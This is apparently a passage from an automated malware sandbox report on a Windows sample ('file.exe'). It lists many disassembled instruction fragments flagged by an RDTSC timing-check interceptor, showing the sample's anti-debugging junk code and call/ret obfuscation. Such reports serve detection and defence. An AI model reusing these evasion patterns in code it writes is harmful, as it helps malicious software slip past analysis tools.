0x00000051 or bx, 24BFh 0x00000056 mov dword ptr fs:[00000000h], esp 0x0000005d mov eax, dword ptr [ebp+122D0015h] 0x00000063 jmp 00007F19ECFD9943h 0x00000068 push FFFFFFFFh 0x0000006a mov edi, edx 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 push ecx 0x00000072 pop ecx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A027C8 second address: A027D2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F19ECFDC0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04D81 second address: A04D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BA35 second address: A0BA42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F19ECFDC0C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BA42 second address: A0BA46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BB8B second address: A0BB95 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F19ECFDC0C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BB95 second address: A0BB9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BE80 second address: A0BE86 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BE86 second address: A0BE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BE8C second address: A0BEAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BEAD second address: A0BEB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BEB8 second address: A0BEBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BEBC second address: A0BED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F19ECFD9936h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F19ECFD9936h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BED0 second address: A0BED4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BED4 second address: A0BEDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A2A5 second address: A1A2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFDC0D9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A2C2 second address: A1A2C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A2C6 second address: A1A2F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFDC0D4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 jg 00007F19ECFDC0C6h 0x00000017 pop esi 0x00000018 jc 00007F19ECFDC0C8h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A2F5 second address: A1A30E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F19ECFD9944h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18FBA second address: A18FCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18FCB second address: A18FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18FD7 second address: A18FDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18FDB second address: A18FEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD993Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1958D second address: A19593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19593 second address: A19599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19599 second address: A195D6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F19ECFDC0CEh 0x00000008 jmp 00007F19ECFDC0D1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jno 00007F19ECFDC0C6h 0x00000019 jnc 00007F19ECFDC0C6h 0x0000001f js 00007F19ECFDC0C6h 0x00000025 popad 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A195D6 second address: A195E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFD993Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A195E7 second address: A195F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19BBC second address: A19BC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19BC0 second address: A19BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19BC8 second address: A19BCF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19BCF second address: A19BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21823 second address: A21844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F19ECFD9936h 0x0000000a popad 0x0000000b jmp 00007F19ECFD9946h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21844 second address: A2184C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2184C second address: A2186D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9944h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2186D second address: A2188E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFDC0CBh 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F19ECFDC0CFh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2188E second address: A21893 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21893 second address: A218BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFDC0D7h 0x00000009 pushad 0x0000000a popad 0x0000000b jnp 00007F19ECFDC0C6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A218BB second address: A218BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A218BF second address: A218C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6A6B second address: 9E6A84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFD9945h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6DF4 second address: 9E6E1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push esi 0x0000000b jmp 00007F19ECFDC0D6h 0x00000010 pop esi 0x00000011 mov eax, dword ptr [eax] 0x00000013 push esi 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6E1C second address: 9E6E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6E22 second address: 9E6E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b jmp 00007F19ECFDC0D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6E47 second address: 9E6E4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6F3D second address: 9E6F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7073 second address: 9E707D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F19ECFD9936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E707D second address: 9E70A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F19ECFDC0CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E70A2 second address: 9E70A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E70A6 second address: 9E70AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E748D second address: 9E7493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7493 second address: 9E7497 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7497 second address: 9E7502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F19ECFD9938h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov edi, dword ptr [ebp+122D2349h] 0x0000002b push 0000001Eh 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F19ECFD9938h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 nop 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F19ECFD9941h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7502 second address: 9E7508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7508 second address: 9E750C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7640 second address: 9E7644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7880 second address: 9E788A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F19ECFD9936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E788A second address: 9E78D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D36ABh], edx 0x00000014 mov ecx, dword ptr [ebp+122D3A38h] 0x0000001a lea eax, dword ptr [ebp+1247B399h] 0x00000020 jmp 00007F19ECFDC0D5h 0x00000025 nop 0x00000026 jo 00007F19ECFDC0D0h 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E78D5 second address: 9E7948 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F19ECFD9945h 0x0000000c nop 0x0000000d lea eax, dword ptr [ebp+1247B355h] 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F19ECFD9938h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D1D12h], ebx 0x00000033 nop 0x00000034 jmp 00007F19ECFD9944h 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push edx 0x0000003d jmp 00007F19ECFD9944h 0x00000042 pop edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7948 second address: 9E794E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E794E second address: 9CFC9B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F19ECFD9938h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 mov dh, 60h 0x00000025 call dword ptr [ebp+122D2FBFh] 0x0000002b pushad 0x0000002c jmp 00007F19ECFD993Dh 0x00000031 jnl 00007F19ECFD993Ah 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFC9B second address: 9CFCC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F19ECFDC0C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F19ECFDC0C6h 0x00000013 jmp 00007F19ECFDC0D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2099D second address: A209A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20C8D second address: A20C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20C93 second address: A20C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20C99 second address: A20C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20F58 second address: A20F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20F5C second address: A20F60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20F60 second address: A20F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jne 00007F19ECFD9936h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20F75 second address: A20F87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFDC0CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A210D8 second address: A210E8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F19ECFD9936h 0x00000008 jng 00007F19ECFD9936h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A210E8 second address: A210ED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21266 second address: A21284 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F19ECFD993Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jo 00007F19ECFD9936h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21284 second address: A212A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D0h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F19ECFDC0D1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A213E7 second address: A213EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A213EB second address: A213EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A213EF second address: A213F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25EDA second address: A25EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFDC0D4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25EF4 second address: A25EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A261CD second address: A261D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D16F second address: A2D173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D173 second address: A2D187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F19ECFDC0CAh 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D187 second address: A2D18B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D5F8 second address: A2D608 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CBh 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D77C second address: A2D784 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DA41 second address: A2DA55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CBh 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E5C5 second address: A2E5E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFD9943h 0x00000009 popad 0x0000000a popad 0x0000000b jnp 00007F19ECFD994Ch 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2CE83 second address: A2CE87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34CC4 second address: A34CCE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F19ECFD9936h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34CCE second address: A34CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F19ECFDC0C6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34CE0 second address: A34CFA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F19ECFD9945h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34CFA second address: A34D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jne 00007F19ECFDC0C6h 0x0000000e jmp 00007F19ECFDC0D3h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007F19ECFDC0CAh 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34D30 second address: A34D4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9949h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34D4F second address: A34D57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34D57 second address: A34D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
